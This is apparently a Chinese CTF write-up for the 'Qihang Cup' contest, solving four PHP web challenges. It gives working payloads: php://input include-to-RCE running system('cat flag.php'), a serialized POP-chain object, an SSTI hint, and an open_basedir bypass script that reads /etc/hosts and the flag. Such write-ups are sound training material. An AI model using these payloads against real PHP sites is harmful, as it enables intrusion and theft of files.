第一届“启航杯”网络安全挑战赛 WP
Easy_include
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php error_reporting(0);
$file=$_GET['file']; if(isset($file)) { if(!preg_match("/flag/i",$file)) { include($file); } else { echo("no no no ~ "); } } else { highlight_file(__FILE__); } ?>
|
可以使用 php 伪协议实现 RCE。
Payload(GET): file=php://input
Post-data:
1
| <?php system('cat flag.php');?>
|
Web_IP
/flag.php 页面会返回用户 IP,将 HTTP 头 Client-ip 修改后,页面显示的 IP 发生变化。使用 Wappalyzer 发现是 PHP 写的,尝试 SSTI 注入 {{1+1}} 成功了,于是直接 RCE。
Web_pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| <?php error_reporting(0); highlight_file(__FILE__); class Start{ public $name; protected $func;
public function __destruct() { echo "Welcome to QHCTF 2025, ".$this->name; }
public function __isset($var) { ($this->func)(); } }
class Sec{ private $obj; private $var;
public function __toString() { $this->obj->check($this->var); return "CTFers"; }
public function __invoke() { echo file_get_contents('/flag'); } }
class Easy{ public $cla;
public function __call($fun, $var) { $this->cla = clone $var[0]; } }
class eeee{ public $obj;
public function __clone() { if(isset($this->obj->cmd)){ echo "success"; } } }
if(isset($_POST['pop'])){ unserialize($_POST['pop']); } ?>
|
这是一道反序列化题目,网上可以搜到原题。
Payload:
1
| O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";r:1;}}s:3:"var";r:4;}s:4:"func";r:2;}
|
PHP 反序列化常见知识点整理
- private 属性序列化格式:
%00类名%00成员名
- protected 属性序列化格式:
%00*%00成员名
魔法方法表(摘要)
| 魔法方法 |
作用 |
| __construct() |
对象创建时调用(unserialize 时不会自动调用) |
| __destruct() |
对象销毁时自动调用 |
| __call() |
调用不可访问方法时触发 |
| __callStatic() |
静态调用不可访问方法时触发 |
| __get() |
读取不可访问属性时触发 |
| __set() |
写入不可访问属性时触发 |
| __isset() |
在不可访问属性上调用 isset()/empty() 时触发 |
| __unset() |
在不可访问属性上使用 unset() 时触发 |
| __invoke() |
将对象当作函数调用时触发 |
| __wakeup() |
unserialize() 时自动调用 |
| __sleep() |
serialize() 时调用 |
| __toString() |
对象转换为字符串时触发(例如 echo) |
__toString 的触发条件较多,常见包括:
- echo / print 对象时触发
- 与字符串连接时
- 参与格式化字符串时
- 与字符串做 == 比较时(PHP 可能转换类型)
- 参与 SQL 参数绑定时
- 作为参数经过 strlen()、addslashes() 等字符串函数时
- 在 in_array() 中比较时(当数组中有 toString 返回的字符串)
- 作为 class_exists() 的参数时
PCREMagic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php function is_php($data){ return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data); }
if(empty($_FILES)) { die(show_source(__FILE__)); }
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { if (!is_dir($user_dir)) { mkdir($user_dir, 0755, true); } $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303); exit; } ?>
|
表面上是一个带有一句话木马 WAF 的临时文件上传题,但环境有很多限制。
上传 <?php phpinfo(); ?> 查看环境后,发现大量函数被禁用(如 system, shell_exec, passthru, exec, popen, proc_open, pcntl_exec, mail, putenv, apache_setenv, mb_send_mail, dl, set_time_limit, ignore_user_abort, symlink, link, error_log 等),并且 open_basedir 被限制为 /tmp/:/var/www/,无法直接跳转到根目录。
通过使用 glob('*') 替代 ls 并结合 ini_set 強行修改环境中的 open_basedir,构造 payload 读取 flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php print_r(ini_get('open_basedir')."<br>");
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/');
echo file_get_contents('/etc/hosts'); print_r(ini_get('open_basedir')."<br>"); echo getcwd() . " "; print_r(glob('*')); echo file_get_contents('flag'); ?>
|
参考:CTF Tricks - PHP-绕过open_basedir_directoryiterator php ctf - CSDN 博客